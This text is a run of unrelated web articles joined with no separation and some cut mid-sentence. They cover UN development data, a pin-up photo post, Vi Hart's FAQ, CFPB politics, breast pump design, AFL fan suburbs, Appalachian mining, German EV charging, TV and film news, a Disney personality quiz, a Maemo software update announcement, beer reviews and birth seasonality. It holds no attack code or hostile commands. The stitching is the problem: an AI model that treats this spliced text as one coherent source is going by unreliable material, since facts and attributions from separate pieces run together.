Development is not, of course, a zero-sum competition. And as the birth of the purported seven billionth person earlier this week has emphasized, rapidly depleting natural resources are a very real concern for the whole globe. According to the authors of the new report, a smarter, more sustainable development strategy tide could raise all ships—and with so many developing nations, such as the Democratic Republic of Congo, where life expectancy is 48.4 years and 73 percent of the population lives in poverty, there are many ships that need a smart development strategy, and fast.
"Sustainability is not exclusively or even primarily an environmental issue," Helen Clark, who chairs the U.N. Development Program, said in a prepared statement. "It is fundamentally about how we choose to live our lives, with an awareness that everything we do has consequences for the seven billion of us here today, as well as for the billions more who will follow."
Charts courtesy of U.N. Human Development Reportby Sad Man’s Tongue, Photography by Dr. Mašan Bogdanovski, Model Miss Psycho Cat
There are many great pairings in the world that seem to belong together. Adam and Eve, Jack and Coke, Photography and Pin Ups, and now you can add to that Anthropologists and Philosophers.
The gorgeous Miss Psycho Cat from Belgrade, Serbia is a graduate in Ethnology and Anthropology. She is a 50s fashion and culture enthusiast and actually did her masters thesis on the 50s culture. That makes her an Ethno Archaeologist in our book. (We are Physical Anthropologists) Be sure to check out her blog “Confessions of a Psycho Cat.”
It gets even better. The photographer, also from Belgrade, Serbia, Dr. Mašan Bogdanovski, has his PhD. in Philosophy and is a member of the University of Belgrade, Faculty of Philosophy. Some guys just gave all the luck. He takes a great picture.
We should have paid more attention in Philosophy class. No use crying over spilled milk, this little Pin Up kitty is the cats meow! Now we have to go sign up for some classes. Philosophy anyone?
Enjoy today’s gallery to Los Moustros out of Culiacán, Sinaloa, Mexico with their version of Lupe, “Es Lupe.”Q: What is this! How did I get here! What are you doing to my eyes!?
A: I am Vi Hart! I am a real person, and I make videos and virtual reality and other things. Sorry about the bright yellow. It amuses me. This is my personal website, not some “Vi Hart brand Websperience” created for your enjoyment or education or whatever.
Q: How do you pronounce “Vi”?
A: Usually “Vi” rhymes with “Hi”, but the non-English pronunciation is often like “Vee,” and I consider that also correct. I will also answer to “Six” and “Not-Emacs”.
Q: Do you have a tweetbook-facespace-linktube+?
A: My twitter is @vihartvihart. My YouTube is Vihart, and my secret channel is vihartvihart. A facebook page exists. My vimeo page is vimeo.com/vihart and my twitch page is twitch.tv/vihart. My soundcloud is soundcloud.com/vihartvihart.
Q: Can I give you money?
A: Yep. At the moment I’m relying on crowdfunding: vihart.com/patreon
I was previously supported by HARC, the Human Advancement Research Community at YCR, and before that I was supported by SAP, and before that, I was supported by Khan Academy.
Q: How long does it take you to make a video?
A: About a week per minute or two.
Q: Will you give a talk at my conference / visit my school / etc?
A: Usually no, but until I get enough crowdfunding to live off of I’ll consider high-paying speaking gigs.
Q: You should make a video about…
A: Nope! You should make that video!
Q: So wait, what do you do and who are you again? And this time I want a fancy-style bio of you, not, like, words a human would ever say.
A: Vi Hart is a mathemusician and philosopher known primarily for work in mathematics, musical structure, and social justice. Vi has publications in computational geometry, symmetry, mathematics and music, mathematical art, and math education, and is the principal investigator of eleVR, a research group focused on understanding how virtual and augmented reality technology can impact how humans think, see, and feel. Vi is the creator of math-related videos that have together gathered over 100 million views, including the “Doodling in Math Class” series, “Hexaflexagons”, and “Twelve Tones”. Vi is also known as co-creator of “Parable of the Polygons,” an explorable explanation of systemic bias that has been played over 5 million times.
Q: Can I subscribe to your website? How do I get updates?
A: Use the RSS feed!
The rss feed for this blog is vihart.com/feed/
My YouTube rss feed is youtube.com/rss/user/vihart/
You can replace “vihart” with any channel name in that url to get that channel’s rss feed. For example, the rss feed for my second secret channel is youtube.com/rss/user/vihartvihart/
There are also other Vi-relevant feeds, like the eleVR blog feed (my VR research group): http://elevr.com/feedIt didn’t get too much attention, but Citibank received some pretty awful news yesterday. The banking powerhouse was accused of pushing dubious credit card services, presented to millions of consumers in unfortunate ways (charging consumers during “free” 30-day trial periods, for example).
The Consumer Financial Protection Bureau, which exists thanks to Sen. Elizabeth Warren (D-Mass.) and the Dodd-Frank reform law, noticed the Citibank practices and went after the banking giant, accusing it of “deceptive marketing,” “unfair billing,” and “other unlawful practices.” Yesterday, Citibank cried uncle – it will pay $700 million to affected consumers, on top of $35 million in penalties.
A few hours later, Republican presidential hopeful Ted Cruz (R-Texas) issued an interesting press release
On the fourth anniversary of the creation of the Consumer Financial Protection Bureau (CFPB), U.S. Sen. Ted Cruz (R-Texas) and Rep. John Ratcliffe (R-Texas-04) have introduced legislation to eliminate it. […] “Don’t let the name fool you, the Consumer Financial Protection Bureau does little to protect consumers…” Sen. Cruz stated.
The argument might even seem true, were it not for all of the success the Consumer Financial Protection Bureau has had in protecting consumers. Indeed, that’s very likely the point of Cruz’s new bill – the CFPB appears to be too effective for many conservatives in cracking down on financial-sector excesses.
But as the Obama administration’s Wall Street reforms celebrate another birthday, it’s not just the right-wing Texas senator looking to turn back the clock. Yesterday, much of the Republican presidential field emphasized their plans to scrap the Dodd/Frank law altogether.
And on Capitol Hill, of course, GOP lawmakers remain committed to scrapping the federal safeguards and layers of accountability.
The political context is obviously familiar, but it shouldn’t be brushed aside too quickly – seven years after financial-industry recklessness and incompetence crashed the global economy, the Republican Party is absolutely convinced that it’s time to free Wall Street from many of its government burdens. These pesky layers of accountability imposed by Democrats are preventing Wall Street from doing what it wants to do, so, the GOP argument goes, Republicans are committing to rolling back the clock – to the conditions that existed shortly before the 2008 catastrophe.Photo
I made my way upstairs, drawn by a strange sound emanating from our bedroom. It was rhythmic, like the sound of an old dot matrix printer. As I opened the door, I was confronted with the image of my wife holding two plastic funnels over her breasts with a big frown across her face. I immediately thought of Madonna’s cone-shaped bra from the 1980s and let out a gasp.
Courtney: John wasn’t laughing at me, he swore up and down. He was laughing at the ridiculousness of the contraption: a standard mechanical breast pump. New motherhood already felt like a battle to stay standing on ground in perpetual tectonic shifts. Now I realized that I was effectively dependent on a badly designed, embarrassingly loud device for any chance to leave the house. Let’s just say, I didn’t feel like Madonna. I felt like a cow at an industrial farm, awaiting a humanizing visit from Temple Grandin. It turns out, even Wikipedia describes the breast pump as “analogous to a milking machine used in commercial dairy production.”
Since our first encounters with the breast pump, we wondered how women had been duped into settling for such bad design. The pump is a symbol of the modern work-life conundrum. In theory, women have the freedom to honor the wisdom that “breast is best,” while still pursuing their own careers. And yet, to do so, they’re forced to attach themselves, multiple times a day, to a loud, sometimes painful machine that makes one feel anything but powerful.
No doubt inspired by the ubiquitous public service announcements about how healthy breastfeeding is for mother and baby, 77 percent of new mothers do it, according to the Centers for Disease Control and Prevention’s 2013 Breastfeeding Report Card. In fact, a crucial provision of the Affordable Care Act requires insurance companies to cover lactation services, with the pump being the most obvious purchase. The average electric pump costs approximately $250. According to market research firm Global Industry Analysts, the breast pump market will reach 5.63 million units by 2015.
Photo
And yet, despite the lucrative market possibilities as well as the health benefits, the modern pump remains largely unchanged since it was first invented. Edward Lasker, an engineer, produced the first mechanical breast pump and secured the patent in the 1920s. In 1956, Einar Egnell created the Egnell SMB breast pump, a more efficient answer to Lasker’s original design. Nearly 60 years later, little has changed about the fundamental design of the mechanical pump. Suffice to say that neither man, despite building their legacies on lactation, had ever breastfed a baby.
Once we were confronted with the appallingly outdated design of the breast pump, we started asking other parent friends about their experiences. One friend, an executive in Washington, described pumping in an airport bathroom in San Juan, P.R., holding the plastic funnels to her breast as women touched up their makeup and gave her dirty looks. The only electrical outlet was next to the sinks.
Another friend needed to pump during a conference call; she crossed her fingers that the client on the other line wouldn’t ask about the incessant and curious sound in the background. The noise isn’t the suction, as one might expect, but the motor. Our half-ton hybrid car is quieter.
Another friend commented on the transparent plastic funnels: What product designer actually thought I would want to see my nipples getting sucked into small tubes over and over again?
We believe that all mothers deserve a better, more dignifying breast pump. It’s a critical, daily tool for the working mother and a no brainer investment for early childhood health (thus, the federal government subsidizing its use at such a significant level).
And beyond the health benefits of a better breast pump, there is a lot of money to be made by the company that attempts to really understand what would make the lives of working mothers easier and more pleasant. One pregnant friend put it in stark relief, “There were approximately one zillion different kinds of baby carriers to choose from when I was registering, but breast pumps? About three, and none of them looked significantly different from one another.”
We are reminded of Gloria Steinem’s “If Men Could Menstruate,” an article published in Ms. Magazine in 1978, in which she used satire to point out how different the world would be if gender roles were reversed: “Men would brag about how long and how much.” If men could breastfeed, surely the breast pump would be as elegant as an iPhone and quiet as a Prius by now.
It’s high time someone redesigned the breast pump. There’s dignity to be regained and a whole lot of money to be made.
Courtney Martin is the author of multiple books, including “Do It Anyway: The New Generation of Activists.” John Cary is the author of “The Power of Pro Bono.” They are partners in life and in work.THE biggest cluster of Cats fans can be found south of the Barwon, with most of the club’s members living in Belmont and Waurn Ponds.
But the pull of former Cat-turned-Gold Coast captain Gary Ablett Jr also has Belmont at the top of the Victorian suburb list when it comes to where Suns fans live.
SCROLL DOWN FOR THE FULL LIST
And an analysis of Victorian membership data from AFL clubs shows Clifton Springs popping up on the fan list for the Giants.
media_camera Reservoir is now the epicentre for Pies and Blues fans. PIC: Yuri Kouzmin
For many clubs, Victoria’s footy fan heartland seems to be shifting from their traditional tribal turf.
Collingwood isn’t among the top 20 suburbs Magpies members call home, and paid-up Blues have ditched Carlton as an address of choice.
Instead, Reservoir is the epicentre for devoted Collingwood and Carlton members.
Clubs to retain the strongest lifeblood links include Richmond — home to the most Tigers members |
plateaus with remnant or reconstructed hillsides that are shorter and blunter than before mining. The most common pre-mining landform was a slope with a pitch of 28 degrees, about as steep as the upper segments of the cables of the Brooklyn Bridge. Today, the most common is a plain with a slope of 2 degrees, that is, level but uneven. Across the entire study region, mining has filled a steep landscape with pockets of nearly flat ground.
The researchers estimate conservatively that the volume of central Appalachian earth and rock turned from mountain to valley-fill is equal to the amount of ash and lava that spewed from the Philippines’ Mount Pinatubo in 1991, about 6.4 billion cubic meters. For comparison, that is 32 times the volume of material that the 1980 Mount Saint Helens eruption deposited in the northern Cascades. (In an email, Matthew Ross, the lead author on the study, speculated that a fuller accounting of overburden might double or triple the researchers’ estimate. He noted that 6.4 billion cubic meters would cover Manhattan in 240 feet of earth and rock.)
The region’s hydrology has been transformed. Because streams begin on mountainsides, and it is mountains that are being mined, this means that the region’s headwaters have been transformed. In place of mountains formed from layers of solid rock and coal, with a thin layer of dirt at the surface, there are now deep sinks full of compacted rubble, which works as a sponge. The researchers calculate that the valley fills can hold a year’s worth of rainfall, ten times more than the thin, clay-rich pre-mining soils.
As water lingers in the porous fills, it takes up chemicals from the shattered rock. It also absorbs alkalinity from carbonate stone that mining companies deliberately mix into overburden to prevent the disturbed stone from producing acidic runoff, which has turned many streams in mining regions bright orange and lifeless. In the study region, streams emerging from valley fills are as much as an order of magnitude more alkaline than neighboring streams, and also show high levels of toxic selenium. The streams are not dead, unlike those in acid-runoff watersheds, but the mining pollutants reduce fish and plant life well downstream of the valley fills.Germany Increased Electric Car Charging Points 27% In 2016
April 17th, 2017 by Cynthia Shahan
The vitality and satisfaction of early EV adopters keeps on increasing. A vast market of electric car enthusiasts is prompting companies to offer more electric cars and more charging stations. Cleaner air, quieter roads, quieter neighborhoods, and precision autonomous features are where it’s at. With all the new varieties, growing ranges, and broadening styles of EVs, consumers see more charging spots at community places as important to their new lives.
Germany is well along the way to this exponentially bursting future. “The number of electric car charging points for public use in Germany rose by 27% last year, including hundreds more fast-charging units, amid efforts to boost the technology across Europe,” U.S. News reports.
Continuing, “The number of electric cars in Germany rose 29% to 77,153 in 2016, up from just 4,000 in 2011, BDEW said.”
U.S. News reports that Germany now has 7,407 charging points, according to the electricity industry group BDEW. “Of those added last year, 292 units were fast charging (direct current) points that can reload an electric car in minutes instead of hours.
“With public and government support growing for electric car technologies, utilities such as Innogy and E.ON are building up charging networks to tap into the market.
“BDEW’s managing director Stefan Kapferer said government funding was still important to make it viable to operate charging points, given the low numbers of electric cars. Kapferer also said the technology needed to be developed further, citing inductive charging as one way that could help to gain new customers. The long time it takes to charge batteries is one of the main disadvantages of electric cars compared to conventional cars with gasoline tanks that can be filled up in seconds.”
CleanaTechnica earlier reported that BMW, Volkswagen, Ford, and Daimler joined together to advance superfast charging in Europe, which is a huge step above the fast charging mentioned above. “These major auto companies are looking to finally catch up to Tesla on one of the most critical components of a healthy and vibrant electric vehicle ecosystem. The planned buildout — based on the Combined Charging System (CCS) standard — will reportedly involve around 400 station locations. Work on the development of the network will begin sometime in 2017, according to the press release — with the goal being for there to be thousands of high-power charging points on the continent by 2020.”
The German electric vehicle market is one CleanTechnica is particularly interested in and connected to. We launched our first Cleantech Revolution Tour conference in 2016 in Berlin, and our second was held shortly after that in Leipzig, which is where the BMW i3 is produced. We just launched the coming round of Cleantech Revolution Tour conferences, with the next event planned for Berlin (Germany) + Wroclaw (Poland) June 27–29, 2017. Join us there!
Images via Cleantech Revolution Tour, PlugShare, and Cleantech Revolution Tour
Related Stories:
EVA+ — Enel, Verbund, Renault, Nissan, BMW, & VW Group Partnering For New EV Fast-Charging Network In Italy & Austria
Stuttgart (Germany) To Begin Selective Banning Of Diesel Cars During High-Pollution Periods In 2018
Daimler, BMW, Volkswagen Group, & Ford Sign Superfast Charging MoU In Europe (Up To 350 kW)
Electric Car Sales GermanyEver since American Horror Story creator Ryan Murphy revealed that there is a shocking twist coming in this season’s sixth episode—airing this Wednesday, October 19—fans have been clamoring to learn what the big reveal might be. There is, however, another question torturing them as well: Who will fan favorite Matt Bomer play this year? This June, Bomer confirmed he would appear in the latest installment of the anthology series—but not much is known about his role. Last season, he starred in A.H.S.: Hotel as Donovan, a bloodsucking vampire and ex-lover of Lady Gaga’s Countess. Could Bomer be a part of the coming twist that will change everything?
“This is one of those moments where mum is the word,” Bomer teased to Vanity Fair while taking a quick break from watching professional polo player Nacho Figueras compete at the annual Veuve Clicquot Polo Classic, held Saturday afternoon at the Will Rogers State Historic Park in Los Angeles.
“Well, I’ll tell you this—this is one of my favorite seasons I’ve seen in a long time,” he continued. “I’m really proud of what the writers have done. They have completely reinvigorated the show and I think fans will love what they have done.”
Although the Golden Globe–winning actor remained silent about what kind of impact his character will make on the Roanoke house’s history or when he’ll appear, Bomer says this season’s true-crime documentary-like premise and story-within-a-story style plot is a welcomed contrast to its previous cycles.
“I have seen every episode so far. I love it. It’s been one of my favorite seasons since Season 2, cause they went back to this real-time, right-now period,” said Bomer, who currently stars in Amazon’s drama The Last Tycoon. “It’s an immediate horror. It’s the kind of horror that I like to see. They really started from scratch in a way.”
Fans have speculated in detail about plot points surrounding the show. One popular theory is that Shelby (Lily Rabe), Matt (André Holland), and Lee (Adina Porter) are all ghosts. Viewers are hungry to unearth the surprise twist, and Bomer is delighted to hear about rabid fans’ theories.
“Oh cool! Love that,” Bomer said. “You need to send me some. I’d like to read those. I hope that Roanoke lives up to everyone’s dreams and fan theories. People can always trust Ryan Murphy to deliver stories that are fun, surprising, and intelligent. Fans won’t be disappointed.”
Get Vanity Fair’s HWD Newsletter Sign up for essential industry and award news from Hollywood. E-mail Address SubscribeNora Arnezeder (Safe House), Gabriel Byrne (In Treatment), Justin Chatwin (Shameless), Tomiwa Edun (The Hour) and Laura Fraser (Breaking Bad) have been cast in Crackle’s upcoming sci-thriller In the Cloud., from Imperative Entertainment and Automatik. Production is underway in London and Manchester, England, on the 90-minute feature expected to release in December on the streaming network.
In the Cloud takes place in the near future after dozens of people are killed in attacks by a serial terrorist bomber. It focuses on two estranged tech geniuses who come together to create a cutting-edge technology to thwart future attacks, but in the race to do so they inadvertently create an AI so powerful it might change the very meaning of life and death for the future of humanity.
Courtesy of Crackle
Byrne plays Doc Wolff, an old-school New York City transplant and the brilliant mind behind the most advanced privately funded neuroscience research lab in the United Kingdom. Chatwin portrays Hale, a neuroscientist and a brash anarchist pragmatist. Edun plays Theo Jones, a brooding genius with a checkered past. Arnezeder is Z, a hardware tech guru and Hale’s girlfriend. Fraser is Ms. Mary, a grant representative for the Exer Foundation, which funds Doc Wolff’s lab.
In the Cloud is directed by Robert Scott Wildes (Poor Boy) and written by Vanya Asher. The movie is produced by Imperative Entertainment’s Dan Friedkin, Tim Kring, Bradley Thomas, Justin Levy, Automatik’s Brian Kavanaugh-Jones and Little Island Productions in the UK. Jillian Apfelbaum from Imperative Entertainment and Automatik’s Chris Goble also serve as co-producers.
Arnezeder is with ICM Partners, Lasher Group, Loeb & Loeb and Independent in the UK; Byrne is repped by Paradigm Talent Agency and The Agency; Chatwin is with UTA; Edun is repped by 42 in the UK, Grandview and attorney Greg Slewett; and Fraser is repped by Emptage Hallett, Gersh and Sanders Armstrong Caserta Management.We’re big proponents of Disney-themed introspection, so we put a fun twist on the traditional Myers-Briggs personality test. Take the test online to find out your personality type, then check this list to see which Disney animal matches up with you!
INTJ (Introverted, Intuitive, Thinking, Judging)
Zazu
Skeptical and independent, you are committed to delivering quality work in everything you do and have high standards for yourself and others. You have the keen ability to see patterns in what’s happening around you, and can solve problems even in high-stress scenarios. For example, when your boss’ son sneaks away to a creepy elephant graveyard.
INTP (Introverted, Intuitive, Thinking, Perceiving)
Owl
You’re an intellectual who believes that almost everything in life has a logical explanation to back it up. You are constantly developing new theories by analyzing what you see around you. However, you should be cautious before sharing newfound ideas with others, unless you’ve got a Backson-trapping plan at the ready!
ENTJ (Extroverted, Intuitive, Thinking, Judging)
Sebastian
You’re a natural-born leader who isn’t afraid to speak your mind. You complete tasks efficiently and never back down from a challenge. You enjoy expanding your knowledge and passing advice onto others, from helping the carp strum his harp to offering parenting tips to King Triton. Though you may present your point-of-view a bit forcefully at times, it’s always rooted in good intentions.
ENTP (Extroverted, Intuitive, Thinking, Perceiving)
Nala
Perceptive and quick, you’re a strong-willed thinker with a thirst for adventure. You have a knack for debate, and will argue for what you believe is right. Ultimately, this skill is a gift that can be used to guide others to the truth and keep the kingdom in balance.
INFJ (Introverted, Intuitive, Feeling, Judging)
Basil of Baker Street
You have a passion for understanding what motivates other people, and are very insightful. With a sharp wit, and a heart dedicated to serving the common good, you are tenacious when it comes to seeing a plan through to the end. Though you can be moody and emotional at times, it works to your benefit when you channel it into your work.
INFP (Introverted, Intuitive, Feeling, Perceiving)
Pascal
Like Pascal, you’re a loyal friend who strives to help others reach their full potential. Brimming with curiosity and wonder, you find the good in every situation. You’re super adaptable and flexible, and can change colors to fit any situation without compromising your values.
ENFJ (Extroverted, Intuitive, Feeling, Judging)
Kala
Warm, empathetic, and responsible are just a few qualities some might use to describe you. In your family or friend group, you are often the one others turn to in times of need. This is because they know you’re dependable, always willing to listen, and will help them figure out the best way to move forward. You’re an inspiring leader who can empathize with anyone, even if they come from a completely different world than you.
ENFP (Extroverted, Intuitive, Feeling, Perceiving)
Meeko
You’re curious and energetic, with a zest and passion for life. Rather than relying on your own internal compass, you often look to others for validation (especially in the form of biscuit snacks). You are an excellent communicator, and are never shy about how you feel. However, you can become stressed and worn out easily—even by a kindred free-spirit like Pocahontas. Fortunately, you take each challenge in stride and are always willing to look once more just around the riverbend.
ISTJ (Introverted, Sensing, Thinking, Judging)
Bagheera
You’re the glue to a group and the brains of the operation. Without you, everything would probably fall apart because you are practical and logical, especially in situations where others are not. You keep things matter-of-fact and will not tolerate foolishness. However, your greatest strength is your integrity, and you always treat others with respect—even if you are a bit frustrated by their resistance to get on board with your flawless plan.
ISFJ (Introverted, Sensing, Feeling, Judging)
Sven
Looking for a steady, reliable buddy who brings an air of calm with them wherever they may go? Than look no further than an ISFJ type like you or Sven. Friendly, responsible, and conscientious, you work hard and always have a smile on your face. While you may seem shy when you meet someone, your ebullient personality comes shining through in no time.
ESTJ (Extroverted, Sensing, Thinking, Judging)
Cri-Kee
You are full of brilliant ideas, but your real treasure lies in your ability to make decisions and get things done. When others are sidetracked or overwhelmed, you are the voice of reason. A team player, you’ll do whatever it takes to help your friends accomplish a goal or task. This includes, but is not limited to: Serving as an alarm clock, disguising yourself as a soldier, and just generally being a symbol of good luck.
ESFJ (Extroverted, Sensing, Feeling, Judging)
Miss Bianca
Compassion and kindheartedness are the name of your game. You live to help others and will face perilous danger if it means getting someone back to safety. Fortunately, you are also very brave and aren’t deterred by risks. You have a lovely, charismatic personality and make everyone around you feel comfortable. Your warm nature puts even the jumpiest “‘fraidy cats” at ease.
ISTP (Introverted, Sensing, Thinking, Perceiving)
Abu
Just because you’re introverted, doesn’t mean you don’t have a wild side. You are curious and sneaky, but tend to hang around in the shadows and lay low to avoid conflict. You’re extremely loyal to your friends, and swiftly step in to assist them whenever they may need you, helping them stay one jump ahead of the bread line.
ISFP (Introverted, Sensing, Feeling, Perceiving)
Baloo
You’re the laid-back easygoing type, and focus on the bare necessities of life, cutting out all the unneeded riffraff. You enjoy the present moment and like to be at peace with everything around you. Your calm nature helps you connect easily with others, even though you’re prone to wandering off on your own thanks to your fiercely independent side. Nonetheless, you make a great partner in crime.
ESTP (Extroverted, Sensing, Thinking, Perceiving)
Tramp
Life on a leash is no life for you. You’re spontaneous and experimental, always trying new things and going on new adventures. Not one to ascribe to tradition, you march to the beat of your own drum and plunge into every new experience head first. Though you can be impatient at times, your wide circle of friends and acquaintances will be there to help you slow down when you’re sprinting through the alley a bit too fast.
ESFP (Extroverted, Sensing, Feeling, Perceiving)
Pegasus
You are truly one-of-a-kind, with a combination of traits not found in many other beings in the animal kingdom. Like Pegasus, you’re bold and entertaining, with a great sense of intuition that keeps you on guard and aware of your surroundings. You love working with others to make things happen, and learn best working on a team. With you by their side, anyone could go from zero to hero in no time flat.
What’s your Disney animal personality type? Tell us below!
Posted 3 years Agoby Andrew Flegg
The Maemo Community Council and Mohammad Abu-Garbeyyeh are pleased to announce the launch of the Maemo 5 Community SSU project. It is currently in a testing and elaboration phase, and your help is required.
What is it?
Seamless Software Update (SSU), is the term Nokia used to brand the over-the-air updates of Maemo.
Community Seamless Software Update (CSSU) is being developed by the Maemo community, for the Maemo community. It aims to deliver fixes which can't be delivered easily through Extras, such as core N900 packages. It won't, however, bundle software which can be installed through the Extras repositories.
It's got a presence in various Maemo forums:
Who is it for?
Long-term: all N900 users.
Now: power-users, developers, Nokia/Maemo/MeeGo engineers, testers, documentation writers and those willing to risk a re-flash in order to help.
How do I install it?
Make sure you're running PR1.3, Nokia's last official Maemo 5 update. To see if you have PR1.3, go into "Settings > About product", you should see under "Version" it has the numbers beginning with "20.2010.36". Go to wiki.maemo.org/Community_SSU using your N900 browser. Click on the "Install" arrow next to "Testing". Hildon Application Manager (HAM) will launch and will prompt with you a series of messages and warnings. Click continue and let it install the community package. Once done, close HAM and go into the applications menu. Look for, and launch, for "Community SSU". This will then automatically run through a series of scripts to ensure HAM will now be using community repository for updates. HAM will re-open and present a system upgrade called "Maemo 5 Community SSU". Once installed, your device will reboot.
These instructions are also in the wiki.
How can I help?
Can you write documentation? If so, it'd be great to flesh out the wiki page with installation instructions (to make it easy for users to install without worrying about missing a step or getting it wrong); explain more about the SSU and generally spruce up the wiki page and maintain things like the changelogs etc.
Were you involved in developing Maemo? If so, with Nokia now looking to Harmattan and MeeGo, we'd love to see your itches addressed in the Community SSU (CSSU). Have you always wanted to implement something in hildon-desktop, but Management stood in your way? We'd love to have it!
Have you written a patch for Maemo? Raise a bug and let's get it in the CSSU.
Are you a developer? There are numerous patches floating around for hildon-desktop; but they can't be included in the CSSU until they are configurable (via gconf) and default to off.
Want to test? Not only testing this release, but writing test scripts so that each release of the CSSU can get sanity checked before unleashing it into a "stable" repo for end-users. How do we do it? What should be tested? How is it organised?
Want to organise? There's still lots of process left to organise; hopefully there'll be bugs and features to triage and manage in bugs.maemo.org as well as communication of the testing, releases and end-user readiness of the CSSU.A Look at Brasserie Dunham’s 2017 Fall Bottle Release
An article by Noah Forrest
Two Saturday’s ago marked the 2017 Brasserie Dunham Fall bottle release, an event that helps one cope with the impending winter doom that awaits us. As usual, many incredible barrel-aged bottles were sold to thirsty patrons in the beautiful town of Dunham, Quebec.
In previous years, the list of available bottles was huge, which meant that if you wanted to try everything, you were potentially looking to spend several hundred dollars. That said, Dunham has now been having more frequent releases, with slightly less products available. I like this model, as it gives our wallets a chance to recover, and another excuse to drive out to the eastern townships to take in the landscape.
This year, there was an array or returning classics, like Saison Réserve and IPA Tropicale. However, there were also some new editions to excite us, like a grapefruit infused version of Oro Zuur, as well as the seventh Jane Doe Hors Série Blend and a new edition of Viti Vini Vici: Cuvée Joly.
I’d also like to point out that we are seeing a shift away from big beers lately. Usually Dunham has at least a beer or two that are in the high ABV spectrum, but this time it’s all fruit, sour and brett offerings. This is neither a good or a bad thing, just a reflection of where we are in the craft beer scene right now.
With that said, let’s dig in!
Mahalo Parfait
Mahalo Parfait is a collaboration between Dunham and Bellwoods Brewery out of Toronto. Over the last few years Bellwoods has grown to become one of Canada’s top breweries, and more recently has won the hearts of beer folk with their line of fruited Milkshake IPAs. It only made sense that this collaborative beer would follow suit.
Mahalo Parfait wasn’t actually part of the Dunham release, but it was available at the time so I thought it would be fun to include it. It is a papaya and hibiscus infused Milkshake Session IPA brewed with lactose, but no vanilla.
The nose is a fruit-filled bonanza. Luscious papaya lends a bright melon-forward aroma that just screams tropical delights. The hops add even more juicy layers, making the whole thing smell like gummy bears.
The body is thick and luscious from the lactose, with a more restrained fruit presence then the nose let on. That said, it’s obviously fruit-forward nonetheless. The papaya compliments the intense dry hop, providing a bright and zesty citrus combination alongside some serious candy-like sugar flavours. It’s not sweet – in fact, it’s very dry – however the lactose adds a creamy, lingering viscosity that reminds me of days when I watched a three hour movie at the cinema while eating waaaaaay too many fuzzy peaches.
This beer is really solid. The hops and fruit are in great balance, and the 4.5% makes its crushable. That said, I think this would be better without the “Milkshake” components, as just a fruited IPA. The lactose adds a lingering stickiness that I don’t adore.
Jane Doe #7
Jane Doe #7 is comprised of a barrel-aged Berliner weisse that was re-fermented with elderberries, then blended with barrel-aged Musje (Belgian ale brewed with rosehips) and one barrel of Orange de Dunham.
The nose is composed of big acidic notes alongside brett induced phenols that kick up lots of dusty funk. It’s very earthy as well, and has a ton of vinous soaked oak mustiness.
It’s tart up front, with lots of musty undertones. The acidity is more pronounced than other Jane Doe iterations, but more in check and balanced compared to their Berliners. Sours cherries meet some light tangerine notes, with some serious acetic acid. The finish is clean though (almost a touch watery), and there is a lingering earthiness that that I don’t love.
I have mixed feelings on this one. I’m just no longer very interested in acetic flavours in beer and there is an earthy oxidized component that comes off a bit stale to me. That said, I do like the balance and general profile, but not my favourite blend.
Oro Zuur – Pink Grapefruit and Vic Secret
Oro Zuur is Dunham’s take on a dry hopped sour. It’s a blend of barrel aged sour ales, and this fourth batch is brewed with pink grapefruit and dry hopped with Vic Secret.
The nose is full of bright tropical aromatics, like mango, pineapple and loads of general citrus. The grapefruit is noticeable there, but not extremely potent, while the resinous hops mix with pithy citrus rinds.
Up front on the palate this is the most sour Oro Zuur to date. It bursts with juicy hops, carrying a potent acidic edge that leads into some serious tannin-rich grapefruit bitterness. It dries your mouth after each sip.
Passion fruit, tangerine, and grapefruit are the most predominant fruit flavours, while the acidity and light barrel components lend further complexity. This is great as always. I’m not sure if the grapefruit was necessary, but it certainly works.
Viti Vini Vici: Cuvée Joly
This is the second edition of Viti Vini Vici, which is a beer brewed to celebrate and showcase various Quebec winemakers. This version is a Grisette that was re-fermented with late harvest Vidal grape skins that were pressed to produce ice wine from Le Marathonien winery. It was then aged in used wine barrels for 7 months.
The nose is a lovely mix of earthy brett funk, bright green apples, pears, rich white grapes and spicy oak. On the palate, there is a balanced subtlety here. Again, some green apple, but with far more of a rich grape presence, lending a big fruitiness alongside some drying tannins.
The yeast profile is perfect, with just the right amount of earthy phenols and zesty funk. Lots of stone fruits come through as well, like peach and plum, creating an amazing juiciness. The finish leaves you dry with a dusty phenolic linger and a tannic dryness. This was fantastic.
Tropicale IPA
IPA Tropicale excites me every time I see that it’s available; and this time, they are in 750ml bottles! This beer is a fruit infused IPA brewed with wild yeast. The nose is a gigantic fruit bomb, with passion fruit, mango, tangerine, and general citrus galore. It’s so damn inviting.
Up front it’s actually drier and more subtle then the nose foretold. The brett cleans any and all sugars, leaving the essence of the fruit cocktail to intrigue your senses, without being too aggressive or sweet. It’s extremely well balanced.
Each fruit is actually pretty apparent, and each adds their own layer to this cornucopia. The passion fruit is most notable with that intense zesty profile that we’ve come to know with these types of beers. However the zing of the tangerine is a relevant component. The hops are intense and in your face, but it’s hard to tell where they end and the fruit begins – it’s the perfect marriage. I love this beer, but maybe just a little less than the last batch.
Once again Brasserie Dunham impresses us with their innovative and balanced creations. They have a talent for delivering ultra-contemporary creations that can feel classic and modern all at once. I was not huge on Jane Doe #7, but this latest batch of Viti Vini Vici and Oro Zuur were spectacular. Some of these bottles are still one shelves, while others might be harder to find. Either way, I recommend getting your hands on them.
An article by Noah Forrest
Photography by Noah Forrest
AdvertisementsAnimals are by nature seasonal creatures: Deer mate during the fall, so their fawns are born just in time for the spring season when food becomes more abundant. Polar bears look for mates during late spring and early summer and give birth to cubs between December and January.
But what about humans? Are we the only animals that don’t have a true mating season? After all, humans have sex throughout the year, without worrying whether their babies will have enough food to survive the winter.
It appears we do—kind of.
This heat map created by Visme, based on the latest UN data on live births, reveals a surprising link not only between peak birth months and seasons, but also between peak birth months and latitude (which is the distance north or south of the equator, measured in degrees):
Do you notice a consistent pattern across high-latitude countries in the Northern hemisphere? The months with the greatest average number of births per day are July, August and September.
As you move down the list of countries, ordered from highest to lowest latitude, you can clearly observe that the peak birth months shift farther and farther to the right, occurring later in the year.
Once you’ve entered the middle latitudes, or the tropical zone, September and October become the highest-ranking months by average number of live births per day, followed by November and December, with some spilling over into the next year.
At the bottom of the list are the countries in the Southern hemisphere, which register the highest average number of births per day occurring between March and May.
When this data is translated into dates of conception, using a 40-week gestation period, we also see that the peak time for baby making is October in high-latitude countries such as Russia, Norway, Finland and Denmark, as seen in the graphic below made with Visme.
According to this same data, December is another peak conception month in a large percentage of countries, including the United States, United Kingdom, Australia, Canada, Mexico and Japan.
Create your own memorable infographics in minutes with this DIY tool. Try It for Free
What do these trends mean?
